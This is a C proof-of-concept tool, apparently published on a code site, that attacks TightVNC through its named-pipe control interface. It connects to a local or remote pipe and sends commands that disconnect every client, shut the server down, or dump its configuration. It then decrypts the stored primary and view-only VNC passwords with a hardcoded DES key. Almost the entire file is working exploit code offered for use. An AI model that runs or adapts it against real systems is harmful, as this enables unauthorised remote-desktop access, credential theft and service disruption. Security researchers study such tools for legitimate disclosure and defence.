README.md
Rendering markdown...
/*
*
* Copyright (c) 2025 Zevedei Ionut
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"
#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512
#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST 0x04
#define TVNC_CMD_SHUTDOWN_SERVER 0x07
#define TVNC_CMD_GET_SERVER_INFO 0x11
#define TVNC_CMD_GET_CONFIG 0x12
const unsigned int commands[6] = {
TVNC_CMD_DISCONNECT_ALL_CLIENTS,
TVNC_CMD_GET_CLIENT_LIST,
TVNC_CMD_SHUTDOWN_SERVER,
TVNC_CMD_GET_SERVER_INFO,
TVNC_CMD_GET_CONFIG,
};
unsigned char des_key[8] = { 23, 82, 107, 6, 35, 78, 88, 7 };
void get_bytes(unsigned int data, unsigned char* out) {
out[0] = GETBYTE(data, 3);
out[1] = GETBYTE(data, 2);
out[2] = GETBYTE(data, 1);
out[3] = GETBYTE(data, 0);
}
// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
for (int i = 0; i < 8; i++) {
printf("%c", passwd[i]);
}
printf("\n");
}
void print_error(unsigned long error_code) {
unsigned char* buffer;
// damn it windows...
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_code,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &buffer,
0, NULL);
printf("[error]: %s\n", buffer);
}
void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
unsigned char primary_passwd[8] = { 0x00 };
unsigned char view_only_passwd[8] = { 0x00 };
printf("\n\tencrypted primary password: ");
for (int i = 0; i < 8; i++) {
primary_passwd[i] = buffer_ptr[offset + 8 + i];
printf("%02x ", primary_passwd[i]);
}
printf("\n\tencrypted view-only password: ");
for (int i = 0; i < 8; i++) {
view_only_passwd[i] = buffer_ptr[offset + i];
printf("%02x ", view_only_passwd[i]);
}
unsigned char primary_passwd_decrypted[8] = { 0x00 };
unsigned char view_only_passwd_decrypted[8] = { 0x00 };
decrypt(primary_passwd_decrypted, view_only_passwd,
sizeof(primary_passwd_decrypted), des_key);
decrypt(view_only_passwd_decrypted, primary_passwd,
sizeof(view_only_passwd_decrypted), des_key);
printf("\n\tdecrypted primary password: ");
print_passwd(primary_passwd_decrypted);
printf("\tdecrypted view-only password: ");
print_passwd(view_only_passwd_decrypted);
}
BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
unsigned long pipe_mode;
BOOL result = FALSE;
printf("[~] opening pipe %s...\n", pipe_name);
while (1) {
*handle_ptr = CreateFile(
pipe_name,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL
);
if (*handle_ptr != INVALID_HANDLE_VALUE) {
printf("[+] pipe opened\n");
break;
}
if (GetLastError() != ERROR_PIPE_BUSY) {
printf("[-] could not open pipe\n");
print_error(GetLastError());
return FALSE;
}
printf("[~] waiting for named pipe to be available - if this hangs the pipe server might be dead.\n");
WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
}
pipe_mode = PIPE_READMODE_BYTE;
result = SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);
if (!result) {
printf("[-] failed setting pipe read mode\n");
print_error(GetLastError());
return result;
}
return result;
}
int main(int argc, char* argv[]) {
HANDLE pipe_handle = NULL;
unsigned char message[8] = { 0x00 };
unsigned char buffer[BUFFER_SIZE] = { 0x00 };
BOOL result = FALSE;
unsigned long bytes_read, bytes_written;
unsigned int cmd_index = 0;
unsigned int offset = 30;
if (argc < 3) {
printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
printf("offset - optional: default is 30 - change as needed\n");
printf("commands:\n");
printf("\t1 - disconnect all clients\n");
printf("\t2 - get client list\n");
printf("\t3 - shutdown server\n");
printf("\t4 - get server info\n");
printf("\t5 - get server config\n");
printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Control\n");
printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
return 0;
}
char* stop = NULL;
cmd_index = strtol(argv[1], &stop, 10);
if (stop == '\0') {
return 0;
}
cmd_index--;
if (argc == 4) {
stop = NULL;
offset = strtol(argv[3], &stop, 10);
if (offset == 0 || stop == '\0') {
return 0;
}
}
if (!open_pipe(&pipe_handle, argv[2])) {
goto exit;
}
printf("[i] sending command...\n");
get_bytes(commands[cmd_index], message);
result = WriteFile(pipe_handle, message, 8, &bytes_written, NULL);
if (!result) {
printf("[-] failed writing to pipe\n");
print_error(GetLastError());
goto exit;
}
printf("[~] message sent; waiting for reply\n");
do {
result = ReadFile(
pipe_handle,
buffer,
BUFFER_SIZE * sizeof(unsigned char),
&bytes_read,
NULL
);
if (!result && GetLastError() != ERROR_MORE_DATA)
break;
printf("[+] got %d bytes back!\n", bytes_read);
printf(" hex: \n\t");
for (int i = 0; i < bytes_read; i++) {
printf("%02x ", buffer[i]);
}
printf("\n char: \n\t");
for (int i = 0; i < bytes_read; i++) {
printf("%c", buffer[i]);
}
printf("\n\n");
if (cmd_index == 4) {
printf("\n[~] command is get config, attempting to decrypt passwords using offset %d...\n", offset);
decrypt_passwords(&buffer, offset);
}
memset(buffer, 0, BUFFER_SIZE);
} while (!result);
if (!result)
{
printf("[-] failed reading from pipe\n");
print_error(GetLastError());
goto exit;
}
printf("\n[+] done\n\n");
exit:
if (pipe_handle != NULL) {
CloseHandle(&pipe_handle);
}
return 0;
}